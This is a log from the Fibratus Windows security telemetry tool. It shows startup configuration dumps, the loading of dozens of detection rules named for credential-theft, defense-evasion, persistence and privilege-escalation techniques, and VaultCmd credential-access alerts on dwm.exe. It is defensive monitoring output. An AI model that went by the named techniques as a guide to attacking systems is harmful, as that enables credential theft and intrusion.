+time=2025-11-04T15:31:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T15:31:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:31:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:32:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-04T15:32:15+01:00 level=info msg=bootstrapping with pid 16120. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T15:32:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true content-type=>text/html enabled=>false port=>25] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-fileio=>true enable-audit-api=>true enable-vamap=>true enable-thread=>true buffer-size=>512 flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-registry=>true enable-image=>true stack-enrichment=>true max-buffers=>36 enable-net=>true enable-mem=>false enable-dns=>false enable-threadpool=>false min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info log-stdout=>true max-age=>0 max-size=>100 formatter=>text max-backups=>15] + output ......................... [ http=>[ endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false method=>POST serializer=>json timeout=>5s enabled=>false] amqp=>[ delivery-mode=>transient tls-insecure-skip-verify=>false exchange=>fibratus durable=>false timeout=>5s vhost=>/ exchange-type=>topic routing-key=>fibratus passive=>false enabled=>false url=>amqp://localhost:5672] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] sniff=>false gzip-compression=>false template-name=>fibratus healthcheck-interval=>10s enabled=>false trace-log=>false timeout=>5s index-name=>fibratus healthcheck=>true healthcheck-timeout=>5s flush-period=>1s bulk-workers=>1] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-mmaps=>false skip-allocs=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false scan-timeout=>10s skip-registry=>false excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-04T15:32:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:32:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:32:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T15:32:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:32:28+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:39:57+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-04T15:39:57+01:00 level=info msg=bootstrapping with pid 3308. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T15:39:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ port=>25 use-template=>true enabled=>false to=>[] content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ min-buffers=>16 enable-thread=>true stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false buffer-size=>512 enable-fileio=>true enable-registry=>true enable-vamap=>true max-buffers=>36 enable-dns=>false enable-image=>true flush-interval=>1s enable-handle=>false enable-net=>true enable-mem=>false enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text level=>info max-size=>100 max-backups=>15 log-stdout=>true] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ exchange=>fibratus vhost=>/ timeout=>5s enabled=>false delivery-mode=>transient passive=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 routing-key=>fibratus durable=>false exchange-type=>topic] http=>[ enabled=>false serializer=>json timeout=>5s method=>POST endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] trace-log=>false sniff=>false healthcheck=>true healthcheck-interval=>10s timeout=>5s index-name=>fibratus template-name=>fibratus gzip-compression=>false bulk-workers=>1 enabled=>false healthcheck-timeout=>5s flush-period=>1s]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-files=>false skip-registry=>false skip-allocs=>false scan-timeout=>10s excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-procs=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T15:39:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:39:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:40:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T15:40:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:40:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:40:54+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:40:54+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T15:40:54+01:00 level=info msg=bootstrapping with pid 11968. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T15:40:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-vamap=>true enable-image=>true buffer-size=>512 stack-enrichment=>true enable-dns=>false enable-audit-api=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true max-buffers=>36 flush-interval=>1s enable-handle=>false enable-mem=>false enable-thread=>true enable-fileio=>true min-buffers=>16 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-size=>100 level=>info max-backups=>15 formatter=>text] + output ......................... [ elasticsearch=>[ gzip-compression=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck-interval=>10s healthcheck=>true enabled=>false trace-log=>false sniff=>false flush-period=>1s bulk-workers=>1 template-name=>fibratus healthcheck-timeout=>5s] http=>[ serializer=>json enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s method=>POST] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ enabled=>false level=>info] amqp=>[ enabled=>false exchange=>fibratus delivery-mode=>transient vhost=>/ routing-key=>fibratus durable=>false passive=>false exchange-type=>topic timeout=>5s tls-insecure-skip-verify=>false url=>amqp://localhost:5672]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false scan-timeout=>10s excluded-procs=>[] skip-files=>false fastscan=>true skip-registry=>false skip-allocs=>false excluded-files=>[] skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-04T15:40:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:40:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:41:06+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3796535 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:40:56.0460037 +0100 CET + Params: file_key➜ ffffa88b086c7ff0, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132bd0000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.id: T1555.004, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, subtechnique.name: Windows Credential Manager + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:41:06+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 3796986 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:40:56.0792143 +0100 CET + Params: file_key➜ ffffa88afe25c810, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132bd0000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, technique.id: T1555, subtechnique.id: T1555.004, 